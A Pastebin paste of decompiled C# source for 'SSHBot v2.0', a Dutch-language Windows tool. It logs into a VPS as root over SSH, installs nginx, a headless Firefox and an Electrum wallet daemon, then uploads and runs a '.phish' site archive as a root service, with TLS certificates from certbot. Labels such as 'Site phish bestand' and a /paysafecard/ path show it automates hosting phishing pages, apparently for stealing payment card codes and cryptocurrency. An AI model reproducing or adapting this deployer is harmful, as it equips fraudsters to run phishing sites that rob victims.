Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.ComponentModel;
- using System.Drawing;
- using System.IO;
- using System.Threading;
- using System.Windows.Forms;
- using Renci.SshNet;
- namespace Sshbot
- {
- // Token: 0x02000002 RID: 2
- public class Form1 : Form
- {
- // Token: 0x06000002 RID: 2 RVA: 0x00002057 File Offset: 0x00000257
- public Form1()
- {
- this.InitializeComponent();
- Console.WriteLine("Dit venster niet sluiten, het laat alle commandos zien die nodig zijn om handmatig te uploaden en hier kan je ook volgen waar hij precies zit en wat er gelukt/foutgelopen is.");
- }
- // Token: 0x06000003 RID: 3 RVA: 0x00002070 File Offset: 0x00000270
- private void button1_Click(object sender, EventArgs e)
- {
- this.ofdWebsitePhish.ShowDialog();
- MessageBox.Show(this.ofdWebsitePhish.FileName);
- if (!new FileInfo(this.ofdWebsitePhish.FileName).Exists)
- {
- MessageBox.Show("Er is een onbestaand bestand geselecteerd, probeer opnieuw!", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
- }
- }
- // Token: 0x06000004 RID: 4 RVA: 0x000020C4 File Offset: 0x000002C4
- private void button2_Click(object sender, EventArgs e)
- {
- try
- {
- if (string.IsNullOrEmpty(this.txtWachtwoord.Text))
- {
- MessageBox.Show("Gelieve eerst een vps wachtwoord in te vullen!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
- }
- else if (string.IsNullOrEmpty(this.txtDomein.Text))
- {
- MessageBox.Show("Gelieve eerst een domein in te vullen!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
- }
- else if (!new FileInfo(this.ofdWebsitePhish.FileName).Exists)
- {
- MessageBox.Show("Gelieve eerst een site te selecteren!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
- }
- else
- {
- this.button1.Enabled = false;
- this.button2.Enabled = false;
- this.txtDomein.Enabled = false;
- this.button3.Enabled = false;
- this.txtWachtwoord.Enabled = false;
- this.button2.Text = "Aan het laden...";
- this.button3.Text = "Aan het laden...";
- SshClient sshClient = new SshClient(this.txtDomein.Text.Replace(" ", ""), "root", this.txtWachtwoord.Text.Replace(" ", ""));
- sshClient.Connect();
- Console.WriteLine("beginnen met het instellen van de vps, wees aub geduldig... het kan eventjes duren voor commando's uitgevoerd zijn.");
- Form1.SendCommand("sudo apt update -y", sshClient);
- Form1.SendCommand("sudo apt install nginx -y", sshClient);
- Form1.SendCommand("sudo apt install firefox -y", sshClient);
- Form1.SendCommand("sudo apt install xvfb -y", sshClient);
- Form1.SendCommand("sudo wget https://download.electrum.org/3.3.4/electrum-3.3.4-x86_64.AppImage -O /electrum.AppImage", sshClient);
- Form1.SendCommand("sudo chmod +x /electrum.AppImage", sshClient);
- Form1.SendCommand("sudo rm -rf /electrum", sshClient);
- Form1.SendCommand("sudo rm -rf squashfs-root", sshClient);
- Form1.SendCommand("sudo /electrum.AppImage --appimage-extract", sshClient);
- Form1.SendCommand("sudo mv squashfs-root /electrum", sshClient);
- Form1.SendCommand("sudo chmod +x /electrum/AppRun", sshClient);
- Form1.SendCommand("sudo systemctl enable nginx", sshClient);
- Form1.SendCommand("sudo systemctl start nginx", sshClient);
- Form1.SendCommand("sudo systemctl is-active nginx", sshClient);
- Form1.SendCommand("sudo rm -rf /var/www/bonk", sshClient);
- Form1.SendCommand("sudo mkdir /var/www/bonk", sshClient);
- Form1.SendCommand(string.Concat(new string[]
- {
- "sudo echo '",
- Environment.NewLine,
- "server {",
- Environment.NewLine,
- " listen\t80;",
- Environment.NewLine,
- " root /var/www/bonk/wwwroot;",
- Environment.NewLine,
- " server_name ",
- this.txtDomein.Text.Replace(" ", ""),
- " www.",
- this.txtDomein.Text.Replace(" ", ""),
- ";",
- Environment.NewLine,
- " location / {",
- Environment.NewLine,
- " proxy_pass http://127.0.0.1:5000;",
- Environment.NewLine,
- " proxy_http_version 1.1;",
- Environment.NewLine,
- " proxy_set_header Upgrade $http_upgrade;",
- Environment.NewLine,
- " proxy_set_header Connection keep-alive;",
- Environment.NewLine,
- " proxy_set_header Host $host;",
- Environment.NewLine,
- " proxy_cache_bypass $http_upgrade;",
- Environment.NewLine,
- " proxy_connect_timeout 300;",
- Environment.NewLine,
- " proxy_send_timeout 300;",
- Environment.NewLine,
- " proxy_read_timeout 300;",
- Environment.NewLine,
- " send_timeout 300;",
- Environment.NewLine,
- " proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;",
- Environment.NewLine,
- " proxy_set_header X-Forwarded-Proto $scheme;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- " location /Content/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- " location /paysafecard/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- " location /css/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }\t",
- Environment.NewLine,
- " location /fonts/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- " location /styles/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- "location /images/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- "}' > /etc/nginx/sites-available/default"
- }), sshClient);
- Form1.SendCommand("sudo nginx -s reload", sshClient);
- sshClient.Disconnect();
- SftpClient sftpClient = new SftpClient(this.txtDomein.Text.Replace(" ", ""), "root", this.txtWachtwoord.Text.Replace(" ", ""));
- sftpClient.KeepAliveInterval = TimeSpan.FromMilliseconds(300.0);
- sftpClient.Connect();
- FileInfo fileInfo = new FileInfo(this.ofdWebsitePhish.FileName);
- string fullName = fileInfo.FullName;
- Console.WriteLine("Beginnen met uploaden van: '" + fileInfo.Name + "'");
- Console.WriteLine("Dit kan eventjes duren!");
- Console.WriteLine("uploadfile: " + fullName + " > /var/www/bonk/bonk.zip");
- FileStream fileStream = new FileStream(fullName, FileMode.Open);
- sftpClient.BufferSize = 4096u;
- sftpClient.UploadFile(fileStream, "/var/www/bonk/bonk.zip", null);
- sftpClient.Disconnect();
- sftpClient.Dispose();
- Console.WriteLine("Bestand verstuurd!");
- sshClient.Connect();
- Form1.SendCommand("sudo apt install unzip -y", sshClient);
- Form1.SendCommand("sudo unzip /var/www/bonk/bonk.zip -d /var/www/bonk", sshClient);
- Form1.SendCommand("sudo chmod +x /var/www/bonk/bonksite", sshClient);
- Form1.SendCommand("sudo chmod +x /var/www/bonk/geckodriver", sshClient);
- Form1.SendCommand(string.Concat(new string[]
- {
- "sudo echo '[Unit]",
- Environment.NewLine,
- "Description=bonksite",
- Environment.NewLine,
- Environment.NewLine,
- "[Service]",
- Environment.NewLine,
- "ExecStart=/bin/bash -c \"sudo xvfb-run --auto-servernum --server-args=\\\"-screen 0 1024x768x8\\\" /var/www/bonk/bonksite\"",
- Environment.NewLine,
- "Restart=always",
- Environment.NewLine,
- "RestartSec=10",
- Environment.NewLine,
- "SyslogIdentifier=bonksitesyslog",
- Environment.NewLine,
- "User=root",
- Environment.NewLine,
- Environment.NewLine,
- "[Install]",
- Environment.NewLine,
- "WantedBy=multi-user.target",
- Environment.NewLine,
- "' > /etc/systemd/system/bonksite.service"
- }), sshClient);
- string.Concat(new string[]
- {
- "sudo echo '[Unit]",
- Environment.NewLine,
- "Description=electrumdaemon",
- Environment.NewLine,
- Environment.NewLine,
- "[Service]",
- Environment.NewLine,
- "ExecStart=/electrum/AppRun daemon start",
- Environment.NewLine,
- "Restart=always",
- Environment.NewLine,
- "RestartSec=5",
- Environment.NewLine,
- "SyslogIdentifier=electrumdaemonsyslog",
- Environment.NewLine,
- "User=root",
- Environment.NewLine,
- Environment.NewLine,
- "[Install]",
- Environment.NewLine,
- "WantedBy=multi-user.target",
- Environment.NewLine,
- "' > /etc/systemd/system/electrumdaemon.service"
- });
- Form1.SendCommand("echo '' > /etc/systemd/system/electrumdaemon.service", sshClient);
- Form1.SendCommand("systemctl daemon-reload", sshClient);
- Form1.SendCommand("systemctl enable electrumdaemon", sshClient);
- Form1.SendCommand("systemctl start electrumdaemon", sshClient);
- Thread.Sleep(1000);
- Form1.SendCommand("systemctl enable bonksite", sshClient);
- Form1.SendCommand("systemctl start bonksite", sshClient);
- Form1.SendCommand("sudo add-apt-repository ppa:certbot/certbot", sshClient);
- Form1.SendCommand("sudo apt-get update -y", sshClient);
- Form1.SendCommand("sudo apt-get install python-certbot-nginx -y", sshClient);
- Form1.SendCommand(string.Concat(new string[]
- {
- "sudo certbot --expand -n --authenticator standalone --installer nginx -d ",
- this.txtDomein.Text.Replace(" ", ""),
- " -d www.",
- this.txtDomein.Text.Replace(" ", ""),
- " --pre-hook \"service nginx stop\" --post-hook \"service nginx start\" --agree-tos --register-unsafely-without-email --redirect --no-eff-email"
- }), sshClient);
- Form1.SendCommand("reboot", sshClient);
- Console.WriteLine("Volledig klaar! de website zou binnen de 2 minuten online moeten staan want hij is momenteel nog aan het herstarten.");
- sshClient.Disconnect();
- }
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- this.button1.Enabled = true;
- this.button2.Enabled = true;
- this.txtDomein.Enabled = true;
- this.txtWachtwoord.Enabled = true;
- this.button2.Text = "Begin met uploaden!";
- this.button3.Text = "Domein veranderen!";
- this.button3.Enabled = true;
- }
- // Token: 0x06000005 RID: 5 RVA: 0x000029E8 File Offset: 0x00000BE8
- public static void SendCommand(string command, SshClient client)
- {
- Application.DoEvents();
- Console.WriteLine("root@lubuntu:# " + command);
- using (SshCommand sshCommand = client.CreateCommand(command))
- {
- sshCommand.Execute();
- Console.WriteLine(sshCommand.Result);
- }
- Application.DoEvents();
- }
- // Token: 0x06000006 RID: 6 RVA: 0x00002A48 File Offset: 0x00000C48
- private void button3_Click(object sender, EventArgs e)
- {
- try
- {
- if (string.IsNullOrEmpty(this.txtWachtwoord.Text))
- {
- MessageBox.Show("Gelieve eerst een vps wachtwoord in te vullen!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
- }
- else if (string.IsNullOrEmpty(this.txtDomein.Text))
- {
- MessageBox.Show("Gelieve eerst een domein in te vullen!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
- }
- else
- {
- SshClient sshClient = new SshClient(this.txtDomein.Text.Replace(" ", ""), "root", this.txtWachtwoord.Text.Replace(" ", ""));
- sshClient.Connect();
- Console.WriteLine("beginnen met het instellen van de vps, wees aub geduldig... het kan eventjes duren voor commando's uitgevoerd zijn.");
- Form1.SendCommand("sudo apt update -y", sshClient);
- Form1.SendCommand("sudo apt install nginx -y", sshClient);
- Form1.SendCommand("sudo apt install firefox -y", sshClient);
- Form1.SendCommand("sudo apt install xvfb -y", sshClient);
- Form1.SendCommand("sudo systemctl enable nginx", sshClient);
- Form1.SendCommand("sudo systemctl start nginx", sshClient);
- Form1.SendCommand("sudo systemctl is-active nginx", sshClient);
- Form1.SendCommand(string.Concat(new string[]
- {
- "sudo echo '",
- Environment.NewLine,
- "server {",
- Environment.NewLine,
- " listen\t80;",
- Environment.NewLine,
- " root /var/www/bonk/wwwroot;",
- Environment.NewLine,
- " server_name ",
- this.txtDomein.Text.Replace(" ", ""),
- " www.",
- this.txtDomein.Text.Replace(" ", ""),
- ";",
- Environment.NewLine,
- " location / {",
- Environment.NewLine,
- " proxy_pass http://127.0.0.1:5000;",
- Environment.NewLine,
- " proxy_http_version 1.1;",
- Environment.NewLine,
- " proxy_set_header Upgrade $http_upgrade;",
- Environment.NewLine,
- " proxy_set_header Connection keep-alive;",
- Environment.NewLine,
- " proxy_set_header Host $host;",
- Environment.NewLine,
- " proxy_cache_bypass $http_upgrade;",
- Environment.NewLine,
- " proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;",
- Environment.NewLine,
- " proxy_set_header X-Forwarded-Proto $scheme;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- " location /Content/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- " location /paysafecard/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- " location /css/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }\t",
- Environment.NewLine,
- " location /fonts/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- " location /styles/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- "location /images/ {",
- Environment.NewLine,
- " try_files $uri =404;",
- Environment.NewLine,
- " }",
- Environment.NewLine,
- "}' > /etc/nginx/sites-available/default"
- }), sshClient);
- Form1.SendCommand("sudo nginx -s reload", sshClient);
- Form1.SendCommand("sudo add-apt-repository ppa:certbot/certbot", sshClient);
- Form1.SendCommand("sudo apt-get update -y", sshClient);
- Form1.SendCommand("sudo apt-get install python-certbot-nginx -y", sshClient);
- Form1.SendCommand(string.Concat(new string[]
- {
- "sudo certbot --expand -n --authenticator standalone --installer nginx -d ",
- this.txtDomein.Text.Replace(" ", ""),
- " -d www.",
- this.txtDomein.Text.Replace(" ", ""),
- " --pre-hook \"service nginx stop\" --post-hook \"service nginx start\" --agree-tos --register-unsafely-without-email --redirect --no-eff-email"
- }), sshClient);
- sshClient.Disconnect();
- Console.WriteLine("Domein is ingesteld! Er worden geen extra kosten ingebracht.");
- }
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
- // Token: 0x06000007 RID: 7 RVA: 0x00002EC0 File Offset: 0x000010C0
- private void Form1_Load(object sender, EventArgs e)
- {
- }
- // Token: 0x06000008 RID: 8 RVA: 0x00002EC2 File Offset: 0x000010C2
- protected override void Dispose(bool disposing)
- {
- if (disposing && this.components != null)
- {
- this.components.Dispose();
- }
- base.Dispose(disposing);
- }
- // Token: 0x06000009 RID: 9 RVA: 0x00002EE4 File Offset: 0x000010E4
- private void InitializeComponent()
- {
- this.label2 = new Label();
- this.txtWachtwoord = new TextBox();
- this.label3 = new Label();
- this.button1 = new Button();
- this.label4 = new Label();
- this.txtDomein = new TextBox();
- this.ofdWebsitePhish = new OpenFileDialog();
- this.button2 = new Button();
- this.tabControl1 = new TabControl();
- this.tabPage1 = new TabPage();
- this.tabPage2 = new TabPage();
- this.button3 = new Button();
- this.label5 = new Label();
- this.tabControl1.SuspendLayout();
- this.tabPage1.SuspendLayout();
- this.tabPage2.SuspendLayout();
- base.SuspendLayout();
- this.label2.AutoSize = true;
- this.label2.Location = new Point(16, 13);
- this.label2.Name = "label2";
- this.label2.Size = new Size(112, 13);
- this.label2.TabIndex = 1;
- this.label2.Text = "Wachtwoord van vps:";
- this.txtWachtwoord.Location = new Point(134, 10);
- this.txtWachtwoord.Name = "txtWachtwoord";
- this.txtWachtwoord.Size = new Size(100, 20);
- this.txtWachtwoord.TabIndex = 0;
- this.label3.AutoSize = true;
- this.label3.Location = new Point(6, 12);
- this.label3.Name = "label3";
- this.label3.Size = new Size(97, 13);
- this.label3.TabIndex = 3;
- this.label3.Text = "Site phish bestand:";
- this.button1.Location = new Point(115, 7);
- this.button1.Name = "button1";
- this.button1.Size = new Size(100, 23);
- this.button1.TabIndex = 2;
- this.button1.Text = "Selecteer...";
- this.button1.UseVisualStyleBackColor = true;
- this.button1.Click += this.button1_Click;
- this.label4.AutoSize = true;
- this.label4.Location = new Point(12, 39);
- this.label4.Name = "label4";
- this.label4.Size = new Size(113, 13);
- this.label4.TabIndex = 1;
- this.label4.Text = "Domeinnaam van vps:";
- this.txtDomein.Location = new Point(134, 36);
- this.txtDomein.Name = "txtDomein";
- this.txtDomein.Size = new Size(100, 20);
- this.txtDomein.TabIndex = 1;
- this.ofdWebsitePhish.FileName = "bonksite.phish";
- this.ofdWebsitePhish.Filter = "phish file (*.phish)|*.phish";
- this.button2.Location = new Point(6, 46);
- this.button2.Name = "button2";
- this.button2.Size = new Size(209, 23);
- this.button2.TabIndex = 3;
- this.button2.Text = "Begin met uploaden!";
- this.button2.UseVisualStyleBackColor = true;
- this.button2.Click += this.button2_Click;
- this.tabControl1.Controls.Add(this.tabPage1);
- this.tabControl1.Controls.Add(this.tabPage2);
- this.tabControl1.Location = new Point(12, 62);
- this.tabControl1.Name = "tabControl1";
- this.tabControl1.SelectedIndex = 0;
- this.tabControl1.Size = new Size(230, 101);
- this.tabControl1.TabIndex = 4;
- this.tabPage1.Controls.Add(this.button1);
- this.tabPage1.Controls.Add(this.button2);
- this.tabPage1.Controls.Add(this.label3);
- this.tabPage1.Location = new Point(4, 22);
- this.tabPage1.Name = "tabPage1";
- this.tabPage1.Padding = new Padding(3);
- this.tabPage1.Size = new Size(222, 75);
- this.tabPage1.TabIndex = 0;
- this.tabPage1.Text = "Volledige setup";
- this.tabPage1.UseVisualStyleBackColor = true;
- this.tabPage2.Controls.Add(this.button3);
- this.tabPage2.Controls.Add(this.label5);
- this.tabPage2.Location = new Point(4, 22);
- this.tabPage2.Name = "tabPage2";
- this.tabPage2.Padding = new Padding(3);
- this.tabPage2.Size = new Size(222, 75);
- this.tabPage2.TabIndex = 1;
- this.tabPage2.Text = "Enkel domein";
- this.tabPage2.UseVisualStyleBackColor = true;
- this.button3.Location = new Point(3, 46);
- this.button3.Name = "button3";
- this.button3.Size = new Size(213, 23);
- this.button3.TabIndex = 5;
- this.button3.Text = "Verander domein!";
- this.button3.UseVisualStyleBackColor = true;
- this.button3.Click += this.button3_Click;
- this.label5.Location = new Point(6, 3);
- this.label5.Name = "label5";
- this.label5.Size = new Size(210, 31);
- this.label5.TabIndex = 0;
- this.label5.Text = "Dit gaat sneller!";
- base.AutoScaleDimensions = new SizeF(6f, 13f);
- base.AutoScaleMode = AutoScaleMode.Font;
- base.ClientSize = new Size(248, 171);
- base.Controls.Add(this.tabControl1);
- base.Controls.Add(this.txtDomein);
- base.Controls.Add(this.label4);
- base.Controls.Add(this.txtWachtwoord);
- base.Controls.Add(this.label2);
- this.MinimumSize = new Size(260, 190);
- base.Name = "Form1";
- base.ShowIcon = false;
- this.Text = "SSHBot v2.0";
- base.Load += this.Form1_Load;
- this.tabControl1.ResumeLayout(false);
- this.tabPage1.ResumeLayout(false);
- this.tabPage1.PerformLayout();
- this.tabPage2.ResumeLayout(false);
- base.ResumeLayout(false);
- base.PerformLayout();
- }
- // Token: 0x04000001 RID: 1
- private IContainer components;
- // Token: 0x04000002 RID: 2
- private Label label2;
- // Token: 0x04000003 RID: 3
- private TextBox txtWachtwoord;
- // Token: 0x04000004 RID: 4
- private Label label3;
- // Token: 0x04000005 RID: 5
- private Button button1;
- // Token: 0x04000006 RID: 6
- private Label label4;
- // Token: 0x04000007 RID: 7
- private TextBox txtDomein;
- // Token: 0x04000008 RID: 8
- private OpenFileDialog ofdWebsitePhish;
- // Token: 0x04000009 RID: 9
- private Button button2;
- // Token: 0x0400000A RID: 10
- private TabControl tabControl1;
- // Token: 0x0400000B RID: 11
- private TabPage tabPage1;
- // Token: 0x0400000C RID: 12
- private TabPage tabPage2;
- // Token: 0x0400000D RID: 13
- private Button button3;
- // Token: 0x0400000E RID: 14
- private Label label5;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement